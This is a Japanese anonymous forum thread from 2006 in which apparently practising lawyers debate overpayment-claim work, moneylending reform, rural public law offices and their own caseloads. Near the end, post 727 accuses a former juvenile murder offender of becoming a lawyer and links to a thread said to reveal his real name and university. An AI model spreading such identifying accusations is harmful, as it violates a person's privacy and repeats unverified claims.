>608 おいおい、それは893に特化した先生の勝手な言い分だろ

608さんに同意。
上の方で、イロイロと騒いでいる連中のカキコをみて、
判・検事は「やっぱり弁護士連中は・・・」って感を深くしている。
この先生方は「伝書鳩」と呼ばれております。

一応リストがあるんだよ。やりすぎないように気をつけてね。
昔、法廷で罪状認否の被告人が、「先生は『共謀を否認しろ』っていってましたが、
やっぱりAに言われてやったんです」といって、あわてている弁護人を見た。


620 :無責任な名無しさん:2006/09/17(日) 09:17:09 ID:XGKhalBE
接見禁止に関する判例を無視すると接見破りで泣くのは被疑者被告人!
ということが判っていない弁護人は依頼人への背信行為と思われても仕方がない。

621 :無責任な名無しさん:2006/09/17(日) 10:29:56 ID:s5e5blmO
被疑者被告人に不利益はないだろ。


622 :無責任な名無しさん:2006/09/17(日) 10:36:29 ID:pISrEATU
人数が増えれば鳩弁も増えるよ
でも密室の出来事がどうしてばれるのかミステリー

623 :無責任な名無しさん:2006/09/17(日) 10:42:32 ID:ZPHoJCmt
当事務所では,あまり個人の破産申立はしないのですが,
これまで扱った個人の破産申立事件のうち,
何の問題もなく同時廃止で申し立てた件数よりも,
ギャンブル,酒等の浪費のために免責調査型の管財事件として
申し立てた件数の方が圧倒的に多いです。
債務者は,サラ金から借りた金をギャンブル,酒等に費消しますので,
出資法改正によって,サラ金の貸し出し金額が減ると,
ギャンブル,飲食関係の業種の売り上げは減るんでしょうね。

624 :無責任な名無しさん:2006/09/17(日) 10:43:53 ID:ZPHoJCmt
当事務所では,あまり個人の破産申立はしないのですが,
これまで扱った個人の破産申立事件のうち,
何の問題もなく同時廃止で申し立てた件数よりも,
ギャンブル,酒等の浪費のために免責調査型の管財事件として
申し立てた件数の方が圧倒的に多いです。
債務者は,サラ金から借りた金をギャンブル,酒等に費消しますので,
出資法改正によって,サラ金の貸し出し金額が減ると,
ギャンブル,飲食関係の業種の売り上げは減るんでしょうね。

625 :公設:2006/09/17(日) 10:52:02 ID:Is3fpw10
最近,公設の後継者不足が解消されて,当職も一安心です。

地元の支援委員会と喧嘩ばかりしてたお方もおられたようですが,
どうもご面倒をおかけいたしましたw

当職も,あと○か月後の交替を指折り数えて待ってます。

626 :無責任な名無しさん:2006/09/17(日) 13:05:14 ID:PmBZYpfl
さそって>>572

627 :無責任な名無しさん:2006/09/17(日) 14:18:27 ID:yX4K6oYP
そういえば、「自由と正義」誌上で前任の公設弁護士をクソミソに
けなしてた人も、無事交替したようですね。


628 :無責任な名無しさん:2006/09/17(日) 14:49:33 ID:5j4Hcg31
ああいう人にはかかわりたくないね。
あの人は独身かな。

629 :無責任な名無しさん:2006/09/17(日) 15:11:35 ID:lE2Fqfyt
既婚者です。

630 :無責任な名無しさん:2006/09/17(日) 15:24:15 ID:rQ7lnvi9
それにしても,公設は場所によって過払いができるかどうかにより
差が出てきて,経済的な見返りも大きく違うみたいですね。

夫婦弁で赴任してた人もいたけど,どうなったんだろ。

631 :無責任な名無しさん:2006/09/17(日) 15:28:46 ID:iMU3rjhk
自宅にデリヘルを呼んだときの話
電話して数十分してチャイムがなったので出てみると、絶対NGな推定50歳ほどのオバサンが玄関に立ってたので
『チェンジ!!』 と一喝して追い返したそうな…
やがて時を待たずチャイムが鳴り今度はナイスなギャールがご登場したわけだが 最初に訪れたオバサンが実は近所に引っ越してきた挨拶にきた方と判るまで時間は要さなかった。


632 :無責任な名無しさん:2006/09/17(日) 15:37:45 ID:E8Xb85jP
>>624
弁業界でも推定1000億円の減収になります。
人の心配するよりも・・・
もちろん公設も・・・ひまわり特別会費も・・・

633 :無責任な名無しさん:2006/09/17(日) 15:52:09 ID:RmLFeXv8
貸金業法改正後は弁護士の自己破産が多くなる希ガス

634 :無責任な名無しさん:2006/09/17(日) 16:08:57 ID:1prS3lzR
過払請求なんてバブルだろ。

バブルに調子こいて,ローンを組んで
不動産を購入した奴らは苦しいと思うが,
元々原価率の低い業界なんだから,
贅沢を言わなければ,黒字を出すのは簡単だろ。

635 :無責任な名無しさん:2006/09/17(日) 16:13:49 ID:RmLFeXv8
でも人数が増えるというもう一つの不況要因がある

636 :無責任な名無しさん:2006/09/17(日) 17:24:31 ID:s5e5blmO
>>622
鹿児島のケースは,接見内容が被疑者の調書に録られていた。

637 :無責任な名無しさん:2006/09/17(日) 17:29:35 ID:s5e5blmO
>>632
1000億も減収にならないと思うな。
アイフルが今期計上している過払金引当金は170億円。
業界全体で年に2000億も過払返還してないでしょう。
年間弁護士報酬として200億くらいのもんです。
全員で割ったら弁護士1人当たり100万円程度。

収入が100万くらい減ってもあまり大差はないな・・・

638 :無責任な名無しさん:2006/09/17(日) 17:30:13 ID:s5e5blmO
>>633
個人再生で済まさないと資格がなくなる。


639 :無責任な名無しさん:2006/09/17(日) 18:12:21 ID:xioarFiR
そういえば、CAMに、懲戒歴の公表制度作れって
場違いな投稿を連発してひんしゅくかってた
公設弁がいたな。

場の空気を嫁ない奴はどこにでもいるもんだ。

640 :村上春樹:2006/09/17(日) 18:13:17 ID:s5e5blmO
僕は副会長に電話をかけ、国選はどうしてもやりたくないんだ。
話すことがいっぱいある。話さなくちゃいけないことがいっぱいある。
法テラスと契約しても得られるものは何もない。僕は法務省の監督など受けたくない。
何もかもをぶちこわして最初からはじめたい、と言った。
副会長は長い間電話の向こうで黙っていた。
まるで世界中の細かい雨が世界中の芝生に振っているようなそんな沈黙が続いた。
僕はその間ガラス窓にずっと額を押し付けて目を閉じていた。
それからやがて委員長が口を開いた。『君、今どこにいるんだ?』と彼は静かな声で言った。
僕は今どこにいるのだ?
僕は受話器を持ったまま顔を上げ、電話ボックスの周りをぐるりと見まわしてみた。
僕は今どこにいるのだ?でもそこがどこなのか僕にはわからなかった。見当もつかなかった。
いったいここはどこなんだ?僕の目に映るのはいずこへともなく歩きすぎていく無数の人々の姿だけだった。
僕はどこでもない場所のまん中から副会長を呼びつづけていた。


641 :村上春樹:2006/09/17(日) 18:16:03 ID:s5e5blmO
「じゃあ私たちわかりあえるわね?」と地方事務所長は静かに言った。
所長は 椅子にゆったりと座りなおし、脚を組みながらちらりと副所長を見た。
「それはどうかな」と僕は言った。「なにしろ8万円だからね」
「8万円というのはあなたが考えているよりも高いかもしれないわよ」
「君は本当に僕のことを知っているの?」僕は訊いてみた。
「もちろんよ、何度も見たわ」
「いつ、どこで?」
「いつか、どこかでよ」と所長は言った。「そんなことここでいちいちあなたに
説明していたらとても一五分じゃ足らないわ。大事なのは今よ。そうでしょ?」
「でも何か証拠を見せてくれないかな。君が僕のことを知ってるって証拠を」
「例えば?」
「僕の最近受けた国選は?」
「常習累犯」と所長は即座に答えた。「住所不定無職の常習累犯窃盗。それでいいかしら?」



642 :村上春樹:2006/09/17(日) 18:18:23 ID:s5e5blmO
「法テラスのの5年後のこともっと知りたい?」
「興味はあるね、いささか」
「ねえ、私は「法テラスの5年後をもっと知りたい?」って質問したのよ。そんな答えっていくら何でもひどいと思わない?」
「もっと知りたいよ、そのことを」と僕は言った。
「本当に?」
「本当に」
「もうすぐロースクール卒の弁護士が登録してくるとしても?」
「そんなにひどいの?」
「ある意味ではね」と彼女は言って顔をしかめた。

ピース。緑が言った。


643 :無責任な名無しさん:2006/09/17(日) 18:24:23 ID:E8Xb85jP
>>637
破産20万件 1件30万 合計600億円
再生2万件  1件40万  合計80億円
整理 過払を加えると推定で軽く1000億を超えるw

644 :村上春樹:2006/09/17(日) 18:24:49 ID:s5e5blmO
何をしているのか? 男はフランス語で訪ねた。
「法テラス契約弁護士」僕は英語で答えた。
「契約弁護士?」
僕は簡単にルールを説明してやった。基本契約を締結する。
国選が配点される。適当にこなす。報告書を出して報酬をもらう。

男はしばらく聞いていたが、僕が法テラスが法務省の監督下にある話を
聞き終わると、何故契約したのかと僕に訊いた。
「もう食っていけないからさ。」
「じゃあ今は何の職業が人気がある?」
「行政書士」
「糞(メルドー)だ。」
男はそういうとテーブルに戻った。


645 :無責任な名無しさん:2006/09/17(日) 18:28:06 ID:s5e5blmO
>>643
破産の20万件のうち本人申し立てもかなりあるし,利限が引き下げられても半分にもならないだろう。
むしろ一時的には増えるかも。業者のいうとおり,借りたい人が借りれなくて。

646 :無責任な名無しさん:2006/09/17(日) 18:39:18 ID:E8Xb85jP
弁護士2万2000人 平均売上げ3500万円
合計7700億円

1000億の減収は売上がげ8分の1減るということ
加えて大増員
破産に依存していたのは若手に偏在しているから
実際津は若手に大打撃


647 :無責任な名無しさん:2006/09/17(日) 18:41:24 ID:jooW6PyS
弁護士3万人にして試算したほうがいいよ

648 :無責任な名無しさん:2006/09/17(日) 18:47:33 ID:s5e5blmO
サービサー法を潰したり,新しく職域を発掘なり拡大なりしていかないとどうしようもないですね。
司法書士や弁理士や税理士の職域を浸食していくことになるんでしょうね。

国選報酬の年間予算は100億程度だそうです。
被疑者国選が始まったら,せめてこれを3倍にしてほしい。

649 :無責任な名無しさん:2006/09/17(日) 18:53:57 ID:ZQwihxeW
Matimulog
http://matimura.cocolog-nifty.com/matimulog/2006/09/public_law_offi_ab52.html
2006/09/17 Public law officeの現状

昨日のある研究会で聞いた、過疎地型公設法律事務所の現状だが、過労死しても不思議はない状況である。

カバーする地裁支部の人口は7万人位なのに2年間で500件の法律相談があり、うち380件が依頼受任した。
事件の種類は、相談案件の30%がクレサラ、20%が家事事件、10%が債権債務、残りがその他で、
特許や不正競争あり、行政あり、行政庁からの相談もあり、会社清算事件もあった。

受任した事件でも200件は訴訟案件で、国選刑事が60件、残りの6割は過払い返還訴訟である。

この事務所は近くに一つ弁護士事務所があるが、あまり仕事はされないとのことで
実質的にゼロワン状況は変わらない。

この事務所が付いた当事者はいいが、相手方は本庁近くの弁護士に依頼しなければならず、
時間も費用も無駄にかかる。

結果、非弁護士がはびこるのである。

弁護士を急激に増やす弊害はあるにしても、中長期的には全然足りないのが現状であろう。



650 :無責任な名無しさん:2006/09/17(日) 18:55:24 ID:E8Xb85jP
いや、もうどうにもならんと思う
弱肉強食の世界だな
過払請求がバブルでも急に壊してはいかんかった
17年前?の日銀の教訓じゃ

651 :無責任な名無しさん:2006/09/17(日) 19:03:16 ID:s5e5blmO
バブルはできるもんじゃない。
作るもんだよ。

昔はクレサラは儲からなかった。
卑しい仕事とされていた。
それが判例の積み重ねで過払い訴訟が激簡単になりバブルが生まれた。
もともとなかったものだと思えばよろしい。

あるいはまた別のバブルを起こせばよろしい。
利益のたくさんあがっている業界を狙い打ちして無理から訴訟を起こしまくって
ある程度の判例が確立すればそれがバブルになる。

652 :無責任な名無しさん:2006/09/17(日) 19:21:31 ID:NCyL21V/
>サービサー法を潰したり,新しく職域を発掘なり拡大なりしていかないとどうしようもないですね。
>司法書士や弁理士や税理士の職域を浸食していくことになるんでしょうね。

実際はこの逆になるだろうな。サービサーの範囲は拡大するし、外国弁護士もくる。
弁理士は単独訴訟できるようになるし、司法書士も家事事件が拡大するだろう。
会社の社員の訴訟代理も可能になる。そして弁護士は年9000人に、、、

653 :無責任な名無しさん:2006/09/17(日) 20:08:56 ID:U6MkbtXf
公設なんて破産と離婚だけうけてりゃいいんじゃない?

654 :無責任な名無しさん:2006/09/17(日) 20:44:07 ID:5j4Hcg31
>>639
CAMって何?
弁護士だけどわからない。ML?俺も参加したい。

655 :無責任な名無しさん:2006/09/17(日) 21:02:13 ID:LzTeDFf3
>>654
 カムは消費者関係の最大級のMLです。
 加入したい場合は、日弁連のホームページ下の広報のアドレスにメールし、
事務所名等を記載し、「加入したい」といえば加入できます。

656 :無責任な名無しさん:2006/09/17(日) 21:04:51 ID:6yaQJzPj
>>654
CAM募集要領
http://homepage1.nifty.com/kito/cam.htm

弁護士紀藤正樹のLINC/メーリングリストで、変る議論・情報交換
http://homepage1.nifty.com/kito/mac49.htm

弁護士サブノート
http://d.hatena.ne.jp/norimichitor/20060629/1151590277
2006-06-29 ■[業界]弁護士の色分け

657 :無責任な名無しさん:2006/09/17(日) 21:08:32 ID:s5e5blmO
camはもうなんか終わっちゃってるけどな。
サラ金側の代理人が登録してたりして詳しい情報は流れないし。

658 :無責任な名無しさん:2006/09/17(日) 21:09:18 ID:IjENieyh
出資法の改正によって100万円以上の貸し付けや
年収の3分の1以上の貸し付けが難しくなることによって
破産事件は大幅に減少するだろう。
それによってクレサラに依存していた弁護士の売り上げは減少するが
破産する人間が減少するのだからいいことではないか。
はっきり言ってクレサラは弁護士でなくてもできる職域だ。

659 :無責任な名無しさん:2006/09/17(日) 21:24:57 ID:s5e5blmO
弁護士や医者は,仕事がないほうが世の中平和。

660 :無責任な名無しさん:2006/09/17(日) 21:31:24 ID:6yaQJzPj
法理論を語る
http://ktfukui.cocolog-nifty.com/rechtstheorie/2006/08/post_e9f6.html
2006.08.01「法曹の新しい職域」科研・研究会概要

文化・芸術活動の現場にあまりにも権利確保に関わる情報や手段がなく、
創造された価値が食い物にされてしまう状況は、法曹等の関与によってか
なり改善できるはずです。

他方、新・新社会運動のように、しばしば違法行為を平気で行うために、法
曹としては容認しがたい活動もありますが、新しい時代に向けての様々な
表現活動が、単に営利的側面からだけではなく、表現の自由の一環として
保障される必要があることも否定できません。

文化・芸術活動の現場で創造的価値の確保や表現の自由の確保に関わ
るのは、むしろ法曹以外の一般市民であるということも言えそうですが、法
曹がそこに関わることで、さらに創造活動が充実するということも言えると
思います。

法曹の新しいプロボノ活動の今後に期待を膨らませています。

661 :無責任な名無しさん:2006/09/17(日) 21:34:04 ID:Bdz7fmTU
>>658
将来的には減少するが、ルールが変わることによって
 借りれなくなる奴激増。自己破産も過払い金請求も
 広く知れ渡ることで激増。
 ここから3〜4年は特需間違いなし。

662 :無責任な名無しさん:2006/09/17(日) 21:39:08 ID:E8Xb85jP
>>661
おれもそう思うが、問題は3年後だ。加えて弁がどっと増える
どうするアイフル

663 :無責任な名無しさん:2006/09/17(日) 21:48:01 ID:Bdz7fmTU
特例の2年は今は使えないように見えるが、後で期間を延ばすとか、
要件をゆるくするとかいう方向にどさくさにまぎれて変更される可能
性がある。決して盛り込むことを許してはいけない。そして、経過期
間3年も、その間に変更猶予を与えるので、こんな長い期間を許して
はいけない。即刻上限金利引下げを実施すべし。

664 :無責任な名無しさん:2006/09/17(日) 21:50:33 ID:IjENieyh
>>661
言ってる意味がよくワカラン。
100マソくらいでは支払い不能とはいえないから破産できないし(生活保護受給者を除く)
出資法が改正されてかつ特例の期間が過ぎてから契約した債務者については
過払い金請求自体が存在しない。
だからクレ事件が激増することはあり得ない。

665 :無責任な名無しさん:2006/09/17(日) 21:58:35 ID:aXih/XAV
>>649
過疎地問題の本質は弁護士人口の「不足」ではなくて「偏在」にあるのだから単純に増員した
だけで解決はしないね。増員したところで大多数は大都市かせいぜい中堅規模の都市にしか
いかないだろ。

医者もそうだが過疎地は元々生活する土地としての魅力に乏しいんだから市場原理に任せたら
ますます偏在が進むだけ。

結局過疎地問題は公設の増設してそれなりのインセンティブ(年俸、交代後の処遇の確保など)
を与えて募集するしか解決法はない。本来は公設にかかる費用は国が出すべきなんだが。


とリンク先みたら筆者はロースクールの教授じゃないか。ローの生き残りの為の増員論かい。

666 :無責任な名無しさん:2006/09/17(日) 22:15:06 ID:UEsCwtYh
飯村佳夫・清水正憲・西村健・安木健
「弁護士倫理」
(慈学社Jブックス)

最新の議論動向も載っていてなかなか示唆的でした

667 :無責任な名無しさん:2006/09/17(日) 22:16:14 ID:iMU3rjhk
弁護士過疎と言うが、弁護士過疎地域でもそこそこお金を持ってる層は、ちゃんと県庁所在地の弁護士に依頼するルートがあったりするんだよね。

田舎に弁護士が行かなかったのは、単に儲からないから。
過払いで稼げたが、それがなくなると大変だろうね。

668 :無責任な名無しさん:2006/09/17(日) 22:25:41 ID:Bdz7fmTU
>>664
ここから3〜4年と言っているやろ。
 先々20%に引き下げるとなったら危ない奴に
 貸すのはみんな止めるはずだ。破産者激増じゃ。

669 :無責任な名無しさん:2006/09/17(日) 22:28:35 ID:Ane4J9hp
>>664
不当利得返還請求権の時効期間は10年
もし、>>137の理論が通じるなら、損害知ってから3年

数は減っていくだろうが、過払い返還請求の仕事自体は10年続くだろうね。

また、判例理論を積み重ねて、クレサラを弁護士でなくてもできる仕事にした
のはクレサラ弁護士であり、また、今も未解決の問題(年5分か年6分か、債
権譲渡がされたらどうなるか)があることも忘れてはならない。

670 :無責任な名無しさん:2006/09/17(日) 22:32:56 ID:Ane4J9hp
>>668
>先々20%に引き下げるとなったら危ない奴に
>貸すのはみんな止めるはずだ。

これはどうかね。今までと同じ利益をあげるために、より広い層に貸し付けるように
なるかもよ。結局、末端の従業員のノルマが厳しくなるだけ。
借りられない層が出てくるというのは、半分業界のブラフだと思ってる。

671 :無責任な名無しさん:2006/09/17(日) 22:35:11 ID:Bi/hKc9Y
過払金返還請求権の仕事が10年後に消滅した後はどうするんだろうね。

672 :無責任な名無しさん:2006/09/17(日) 22:36:34 ID:ICqwNzqB
夫婦で公設行ったのは俺の同期だけど、
2年半の任期中に3千万円くらい貯金したそうだ。

673 :無責任な名無しさん:2006/09/17(日) 22:40:22 ID:Bdz7fmTU
>>671
>今までと同じ利益をあげるために、より広い層に貸し付けるように
>なるかもよ。

 無理です。底辺を支えている中小業者は29.2%で貸しており、調達金利
 が高いため、この改正で利益は出なくなり、退場者続出。となると、
 彼らがいたことで美味しい汁を吸っていた大手は支えを失うため、同じ
 ビジネスはできなくなります。下手すると経営が危なくなります。
 だから今までのような貸付はできません。質のいい相手に集中して貸す
 方向に転換すると思われます。
 

674 :無責任な名無しさん:2006/09/17(日) 22:42:18 ID:UEsCwtYh
利限法改正で銀行系金融は金利あげるのかね?

675 :無責任な名無しさん:2006/09/17(日) 22:46:14 ID:Bdz7fmTU
>>674
世論を意識して上げないでしょう。
 というか、利限法がこのまま引き上げの方向では決着しないでしょう。
 こんなこと許されるはずがありません。

676 :無責任な名無しさん:2006/09/17(日) 23:22:01 ID:6IRV/loI
ああ,あの夫婦ね。

夫の故郷に帰ったが,かなり大きな家を新築してると聞いた。

公設行けば,独立資金はすぐに貯まる。

677 :無責任な名無しさん:2006/09/17(日) 23:34:33 ID:s5e5blmO
まだ過払債権を日々蓄え続けている契約者が過疎地には何万人も眠っている。
それが掘り起こされ尽くしてからが問題だが,掘り尽くすにはまだまだ10年くらいはかかるだろう。


678 :無責任な名無しさん:2006/09/17(日) 23:35:25 ID:E8Xb85jP
平均して売り上げが8分の1も減るというのはどの業界でも大変なことだ
若手はおそらく3ないし4割減るだろ
結婚して、住宅ローンも終わり、子供もある程度大きく、たくわえもある
中高年はいいが、若手はどうなる
みんなどんな展望をもってる?



679 :無責任な名無しさん:2006/09/17(日) 23:37:29 ID:E8Xb85jP
>>677
なんか石油みたいだなあ

680 :無責任な名無しさん:2006/09/17(日) 23:39:27 ID:s5e5blmO
>>673
闇金が出てきて,サラ金への弁済資金を提供してくれるんじゃないのかな

681 :無責任な名無しさん:2006/09/17(日) 23:41:22 ID:s5e5blmO
>>678
若手弁護士の民事再生を手広くやろうかな。
修習生のときに貸与された金は非免責債権だろうか?

682 :無責任な名無しさん:2006/09/17(日) 23:45:49 ID:E8Xb85jP
>>681
無理だ、弁業界が構造不況業種になるし、履行可能性がない

683 :無責任な名無しさん:2006/09/17(日) 23:50:23 ID:s5e5blmO
>>682
再生計画不認可決定には,即時抗告,特別抗告をして,最高裁で「弁護士は構造不況業種であり履行可能性がない」との認定をもらおう。

684 :無責任な名無しさん:2006/09/17(日) 23:52:52 ID:s5e5blmO
新グレーゾーン特例だけど,1社30万って,アイフル・ライフ・トライト・シティズなんかはそれぞれ別会社という扱いになるのかしら?
そしたらまたCFJとかクオークローンとか元通りに細胞分裂したりして。

685 :無責任な名無しさん:2006/09/18(月) 00:16:13 ID:6M+e+/U1
>>679
ゴールドラッシュを思い出した。金の分配を巡って訴訟になり殺人事件まで
起きたとか。

686 :無責任な名無しさん:2006/09/18(月) 00:24:06 ID:6M+e+/U1
>>684
現時点では特例の期間は30万1年以内で他に借入れが無いことが条件、リボは不可。
この場合対象になるのは全債務者の4%ぐらいと言われている。

687 :無責任な名無しさん:2006/09/18(月) 00:40:31 ID:OhLMqKM+
利息制限法の改悪がないと仮定した場合、制限利息は
30万円×0.18×2=108,000

特約が認められた場合の上限
30万円×0.255×2=153,000

差額4万5000円。悪意の利息を考慮しても弁護士費用でないくらいだろう。

688 :無責任な名無しさん:2006/09/18(月) 01:16:27 ID:xCssjkml
結局ほとんどの契約が施行後は非特例になって,18%で貸すようになるのね。
まあそれでも破綻する人は破綻するんでしょう。
将来利息を切るために任意整理することがメインになるのかな。
サラ金業界としては,利息収入は減っても,貸倒損失も減って,たいして営業利益は変わらないかもね。


689 :無責任な名無しさん:2006/09/18(月) 08:38:35 ID:9BKI0t+6
まあ,過払請求に群がってた奴らの問題だろw

俺には関係ないよ。

690 :無責任な名無しさん:2006/09/18(月) 10:22:40 ID:d4ws39D8
一般民事の方々は、皆何で食ってるの?他の弁護士の仕事比率を知りたい。

俺は東京で独立2年だが

クレサラ5件くらい
損保30くらい
交通事故被害者側(金額でかい)1件
家事3件
会社同士のまあまあでかい事件2
国選1件
会社からの相談3
その他小さなつまらない事件多数

程度かな。弁1事務2の事務所ですが。

691 :無責任な名無しさん:2006/09/18(月) 12:42:24 ID:1SU7IrEC
>>690
地方独立2年。弁1事務2。

クレサラ30件くらい
会社依頼の民事訴訟5件
会社依頼の商事非訟2件
会社依頼の示談案件4件
離婚3件
その他家事事件4件
交通事故被害者1件
国選3件
私選1件
その他個人依頼の民事事件20件くらい

食うには困りません。クレサラがなくなっても大丈夫。

692 :無責任な名無しさん:2006/09/18(月) 12:51:32 ID:u+IOSgqM
>>691
家事事件合計7件か。
ある意味、依頼者の質が最も悪い事件の一種だよな。
お疲れさま。


クレサラや損保が安定収入になっている感じだね。
俺はやっていないけれど、不動産会社の立ち退かせ案件等も安定収入になるだろうな。

693 :無責任な名無しさん:2006/09/18(月) 12:55:37 ID:1SU7IrEC
>>692
家事事件も慣れれば何ということはない。
離婚も遺産分割なんかもドライに済ませれば簡単だし。

694 :無責任な名無しさん:2006/09/18(月) 14:05:03 ID:ZmNjzAVg
イソ弁時代に過払いでウハウハ
(または数年公設に)  
  ↓
独立したらバブルはじけて貯金を食いつぶす

ってパターンが増えるだろうな


695 :無責任な名無しさん:2006/09/18(月) 14:07:43 ID:OhLMqKM+
>>694
ほとんどの人は過払いの仕事がたくさんくるから、過払いで生活してるだけでしょ。
クレサラ弁護士をバカにしすぎ。

696 :無責任な名無しさん:2006/09/18(月) 14:37:06 ID:E18aa9Zz
>>689
過払請求で食ってた人が他の分野になだれ込むから人事ではない

697 :無責任な名無しさん:2006/09/18(月) 14:41:50 ID:E18aa9Zz
>>695
幾分かの嫉妬心が入っているんでしょう

698 :無責任な名無しさん:2006/09/18(月) 15:03:43 ID:KWDus5Ay
>>695
過払の真の恐ろしさは,同じ金額を一般民事で稼ぐのには莫大な手間がかかるので,一般民事のやる気がなくなって
しまうことでしょう。
ほんのちょっと計算して和解書を送りつけるだけで100万近い金が簡単に入ってきてしまっていたのに,普通の事件で
は気が遠くなるような手間を掛けて着手30万円程度成功報酬50万程度でも大変てことになると.....
過払は麻薬か

699 :無責任な名無しさん:2006/09/18(月) 15:55:06 ID:ZmNjzAVg
バカ手がそんな仕事しかせずにアブク銭稼いでたら将来困るだろうな。

700 :無責任な名無しさん:2006/09/18(月) 16:01:44 ID:A0O2DHFA
債務整理専門の大手事務所は大リストラだね

701 :無責任な名無しさん:2006/09/18(月) 18:22:59 ID:OhLMqKM+
>>700
電車で宣伝してるようなところって過払い請求しているの?
実態知らずにイメージだけでいうと、利限引き直しせずに機械的に
破産申立てしてるんじゃないかと・・・

702 :無責任な名無しさん:2006/09/18(月) 18:54:39 ID:mChB+RaL
過払い請求ってそんなに簡単にもうかるんですか。

ウチには、自己破産も、ましてや過払い請求事案なんかほとんどこないが、
どうして、この種の事件を集めるんですか。

先日、報酬200万円貰ったが、3年もかけて四苦八苦してきた結果なので、
金銭的には余り報われた気がしない。

一度、過払い請求ってのを何件かしてみたいんですが。

703 :無責任な名無しさん:2006/09/18(月) 19:20:37 ID:E18aa9Zz
>>702
もう手遅れですよ。バスに乗り遅れています。


704 :無責任な名無しさん:2006/09/18(月) 19:21:20 ID:yJ7FSkL8
全く情けない書き込みばかりだ。
もうかるかどうかだけでクレサラやってんのか?
もうかるという理由だけでクレサラやってると思っているのか?
売り上げがあるのは大事だが,それだけじゃないだろう?

705 :無責任な名無しさん:2006/09/18(月) 19:22:38 ID:ZmNjzAVg
>>702
貴方はまっとうな弁護士の道を歩んでいますのでそのまま行かれるのがよいでしょう。

706 :無責任な名無しさん:2006/09/18(月) 19:24:28 ID:hAygBlO2
>>704
本当にそう思うね
クレサラの大半の事件は赤字だというのを知らないんだろうね。

儲かる事件だけ受けたりとか儲からない事件は手を抜いたりだとかしてる弁も見るけど、悲しいね。

707 :無責任な名無しさん:2006/09/18(月) 20:23:40 ID:y7pCXFeX
流れ切ってスマソ。
一般民事の弁がおおっぴらにいい車に乗ることの是非について。
これは、依頼者や裁判所等の手前、よい方向に働くのか、
それとも庶民的な小型車に乗ってる方が印象がよいのか。
どちらなんでしょう。
都市部と地方とでも違うのかな。

708 :無責任な名無しさん:2006/09/18(月) 20:54:28 ID:E18aa9Zz
>>706
一体どうやったら赤字になるんですか?


709 :無責任な名無しさん:2006/09/18(月) 20:57:13 ID:lC2MLM72
報酬を踏み倒されまくってるのかね?

710 :無責任な名無しさん:2006/09/18(月) 21:10:07 ID:E18aa9Zz
>>709
それなら事件の種類の問題じゃなく、経営の仕方の問題では

711 :無責任な名無しさん:2006/09/18(月) 21:45:50 ID:4coCronC
そもそもクライアントに自分の車を見せる機会は
ほとんどない。

712 :無責任な名無しさん:2006/09/18(月) 22:43:03 ID:XiD36pzw
最強法律相談室
http://blog.livedoor.jp/sarakure110/

民事再生・自己破産等債務整理をブログで解説/上野ポート法律事務所
http://uenoport.blog69.fc2.com/

青森の弁護士 自己破産 個人再生  - 楽天ブログ(Blog)
http://plaza.rakuten.co.jp/yuuseiyuusei/

Yahoo!ブログ - 弁護士が教える債務整理
http://blogs.yahoo.co.jp/bengoshi200607

いちご綜合法律事務所 - livedoor Blog(ブログ)
http://blog.livedoor.jp/ichigo1192/

自己破産なんかこわくない!【弁護士と法律事務員のほのぼのブログ】 - livedoor Blog(ブログ)
http://blog.livedoor.jp/adire1/

713 :無責任な無責任:2006/09/18(月) 23:17:31 ID:78037YUx
車ぐらい自分の好きな車に乗れば。

714 :無責任な名無しさん:2006/09/18(月) 23:44:30 ID:d4ws39D8
>>694
過払いで食っていた弁護士=他の分野は何もできない弁護士
との前提を持っているように見えるけど、そんなことないでしょ。

715 :無責任な名無しさん:2006/09/18(月) 23:46:00 ID:d4ws39D8
>>706
どうやったら赤字になるの?
タダで引き受けてるとか?

716 :無責任な名無しさん:2006/09/19(火) 00:16:38 ID:zDQV9FBv
>>714
過払いで食っていた弁護士=要領がよくてビジネス感覚に富んだ弁護士
・・・を侮蔑する弁護士=旧態依然たる弁護士観から抜け出せない弁護士
だろ



717 :無責任な名無しさん:2006/09/19(火) 00:19:32 ID:zDQV9FBv
>>706
kuresaraしたことないだろ

718 :無責任な名無しさん:2006/09/19(火) 00:35:44 ID:zDQV9FBv
そういやサービサーが過払金返還請求権を扱わせるよう要求しているがどうなるんだろう?

719 :無責任な名無しさん:2006/09/19(火) 01:50:36 ID:e1SQ6TJF
マジかw
サービサーはちょっと前まではグレーゾーンの貸金債権を扱わせるように要求していたのに。
変わり身が早いなw
しかしサービサーの多くはサラ金傘下だろ?
例えば○ル債権回収がプロミスに過払い請求とか
○イ○ール債権回収がアコムに過払い請求とか・・・ありえんw

ていうか ふ ざ け る な と言いたい


720 :無責任な名無しさん:2006/09/19(火) 09:57:27 ID:2ry86KGJ
>>719
マジだよ。要は儲かりゃいいのよ。
弁業界はまた一つ大きな職域を失うな。

721 :無責任な名無しさん:2006/09/19(火) 11:10:48 ID:D1OdkhEb
当方は非弁です。
弁護士の皆さんに質問します。

これから弁護士という職業は、実入りが少なくて、メリットが減る商売になるのですか?

722 :無責任な名無しさん:2006/09/19(火) 12:29:00 ID:DsgsogBb
>>721
そのとおりです。

723 :無責任な名無しさん:2006/09/19(火) 13:18:41 ID:gOs16gA7
依頼は、無料が原則なんですけど…って習わなかったか?

724 :無責任な名無しさん:2006/09/19(火) 14:52:06 ID:HyklPFa8
>>719
銀行系、信販系、独立系もあるだろ。
消費者金融系は、顧客リストがあるらこれに基づいて広く債務者に営業をかけて低額で
債権を買い取れば一石二鳥だなw

725 :05東大法卒:2006/09/19(火) 15:53:31 ID:t5vQj460
>>721
二極化すると思うよ。
ま、俺みたいに優秀な人間には関係ないが。

726 :無責任な名無しさん:2006/09/19(火) 16:01:54 ID:DM2vqOKf
http://news.www.infoseek.co.jp/topics/society/trial/story/19gendainet05017285/


727 :無責任な名無しさん:2006/09/19(火) 16:48:21 ID:zC+P6Btz
首切り殺人サレジオ学院高校生が社会復帰して弁護士へ華麗な更正

少年Aは弁護士に、遺族は家庭崩壊 【少年法】
http://tmp6.2ch.net/test/read.cgi/youth/1156778651/
※現在の実名、出身大学名あり

728 :無責任な名無しさん:2006/09/19(火) 16:49:30 ID:3q+KAepu
>>724
新しく貸付をした業者AのサービサーA’が,全情連の取引内容を見て,契約から8年くらい経ってる業者Bがあったら,Bに対する過払金債権を安く買い取って回収する。
業者Aの貸倒れリスクも減るし,いい商売だな。


729 :無責任な名無しさん:2006/09/19(火) 20:03:10 ID:cxZgsGOU
>>725
おまえみたいなやつが、いるから、

730 :無責任な名無しさん:2006/09/19(火) 20:15:53 ID:YTH4mN8Q
http://www.sankei.co.jp/news/060914/sha019-1.jpg

